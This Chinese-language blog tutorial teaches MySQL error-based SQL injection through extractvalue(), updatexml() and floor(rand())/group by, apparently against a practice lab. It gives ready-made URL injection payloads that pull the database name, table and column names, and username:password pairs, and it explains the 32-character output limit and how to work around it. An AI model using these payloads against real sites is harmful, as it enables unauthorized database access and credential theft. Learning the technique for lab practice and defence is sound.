extractValue()报错注入

什么是报错注入?

目录

这是一种页面响应形式。响应过程如下:

  1. 用户在前台页面输入检索内容
  2. 后台将前台页面上输入的检索内容无加区别的拼接成 sql 语句,送给数据库执行
  3. 数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

两个“无加区别” ← 报错注入存在的基础 → 后台对于输入输出的合理性没有做检查。

利用报错信息,得到想要的内容

通过 extractValue()报错注入

函数 extractValue()包含两个参数

extractValue(XML 文档对象名称, 路径)

示例

创建数据库 ctfstu 和数据表 xml 为示例,展示 extractValue()的用法

​ 1、先在 ctfstu 数据库中创建 xml

create database ctfstu charset utf8;
create table xml(doc varchar(150));

​ 2、在表内插入两端数据

insert into xml values('
                       <book>
                       <title>A bad boy how to get a girlfrind</title>
                       <author>
                       <initial>Love</initial>
                       <surname>benben</surname>
                       </author>
                       </book>
');

insert into xml values('
                       <book>
                       <title>how to become a bad boy</title>
                       <author>
                       <initial>hualong</initial>
                       <surname>Melton</surname>
                       </author>
                       </book>
');

​ 3、使用 extractvalue 查询 xml 里面的内容

​ 查询作者是谁

select extractvalue(doc,'/book/author/surname') from xml;

​ 查询书名

select extractvalue(doc,'/book/title') from xml;

如果把查询参数路径写错,只会查询不到内容,但不会报错

想要报错,则把查询参数格式符号写错

select extractvalue(doc,'~book/title') from xml;

在报错时会回显报错的语句,因此可以构造报错的语句,使先查询到一部分内容后再报错,返回整体内容

构造语句:

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

利用exctractvalue()进行报错注入

?id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
#concat用于拼接第一和第二个参数,0x7e → “~” 
#extractvalue的第一个参数可以随便写

concat第二个参数写进想查询的内容即可,同联合查询的后面的内容。

报错注入默认一次只能返回32个字符串

使用函数substring解决只能返回32个字符串问题

substring() 三个参数

  1. 第一个参数:控制输出的字符串
  2. 第二个参数:从哪开始输出
  3. 第三个参数:一次输出几位字符串
?id=100' union select 1,extractvalue(1,concat(0x7e,(select substring(group_concat(username,password) from users),31,30))),3 --+
#只能拼接字符串,从第31个字符开始,向后输出30个字符

Updatexml()报错注入

updatexml(XML_dacument,XPath_string,new_value)包含三个参数

  1. 第一个参数:XML_document是string格式,为XML文档对象的名称,例如Doc
  2. 第二个参数:XPath_string是路径,XPath格式的字符串
  3. 第三个参数:new_value,string格式,替换查找到的符合条件的数据

updatexml报错原理

同extractvalue(),输入错误的第二个参数,即更改路径的符号

正常句式:

select updatexml(doc,'/book/auther/surname','1') from xml;

错误句式:

select updatexml(doc,'~book/auther/surname','1') from xml;

只能回显32位字符串,仍要使用substring控制回显的字符数

过程

select updatexml(1,concat(0x7e,(select database())),'3') from xml;
#查库名
select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),'3') from xml;
#查表名
select updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users)),'3') from xml;
#查看数据

总结知识点

  1. 判断字符型(及其闭合方式)/数字型
  2. 靶机用户名密码存放位置的表名和列名

​ 数据库information_schema中的数据表tables下数据列table_name和数据表columns下数据列column_name

floor报错

报错显示可以显示64位

rand()函数:随即返回0~1间的小数

floor()函数:小数向下取整数。向上取整数ceiling()

concat_ws()函数:将括号内数据用第一个字段连接起来

group by字句:分组语句,常用于 结合统计函数,根据一个或多个列,多结果集进行分组

as:别名

count()函数:汇总统计数量

limit:这里用于显示指定行数

?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

rand()函数

随机返回0~1间的小数

select rand();
#随机返回0~1间的小数
select rand()*2;
#随机返回0~2间的小数
select rand() from users;
#根据表users的行数随机显示结果,表中有多少行,就显示多少行随机结果

floor()函数

小数向下取整数

select floor(rand()*2);
#结果随机为0或者1

concat_ws()函数

将括号内数据用第一个字段连接起来

select concat_ws('1','2','3');
#把2和3用1连接起来
select concat_ws('~',(select database()),floor(rand()*2));
#将返回:数据库名~0 或者数据库名~1

as别名,group by分组

select concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;
#在数据表a下面能够分出的组数,返回 数据库名~0 或者数据库名~1

count()函数

汇总统计数量

select count(*),concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;

偶尔出现报错#1062 – Duplicate entry ‘security-0’ for key ‘’

报错原理

报错语法和报错位置

select floor(rand()*2) from users;
#根据表users的行数随机显示0或1
select floor(rand(0)*2) from users;
#计算不再随机,而是按一定的顺序排列
select floor(rand(1)*2) from users;
......

select count(*),concat_ws('-'(select database()),floor(rand(0)*2)) as a from users group by a;
select count(*),concat_ws('-'(select database()),floor(rand(1)*2)) as a from users group by a;
......
select count(*),concat_ws('-'(select database()),floor(rand(0)*2)) as a from users group by a;
#rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复

在写入group_key键值时,不能直接将计算后的数值写入,而是再次计算后的数值进行写入

初始时,security-0/1的键值不存在,因此重新计算后写入键值,写入的键值如果在表格中有重复,则报错。

而在第一次统计时,若表中有相同的值,则直接进行计算。

因此,若表中同时有security-0和security-1时,则不进行报错。

select count(*),concat_ws('-',(select database())) as a from users group by a;
#group by作用是让rand()产生足够多次数的计算,一般使用行数比较多的默认数据表information_schema.tables

而后进行相同的注入操作即可。

注入操作

查表名

?id=0' union select 1,count(*),concat_ws('-',(select group_concat(table_name)from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+
#group_concat可能无法显示,可以改成concat尝试
?id=0' union select 1,count(*),concat_ws('-',(select concat(table_name)from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查列名

?id=0' union select 1,count(*),concat_ws('-',(select group_concat(column_name)from information_schema.columns where table_name='security'),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查表中内容

?id=0' union select 1,count(*),concat_ws('-',(select group_concat('-',username,':',password)from users),floor(rand(0)*2)) as a from information_schema.tables group by a --+

使用limit控制内容输出

?id=0' union select 1,count(*),concat_ws('-',(select group_concat('-',username,':',password)from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
#从第一行第一个字符开始输出
?id=0' union select 1,count(*),concat_ws('-',(select group_concat('-',username,':',password)from users limit 1,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
#从第二行第一个字符开始输出
THE END
© 版权声明
文章来源:https://blog.starchen.top 关注微信公众号:盼望星辰 获取更多资讯 Copyright © 2024 星辰博客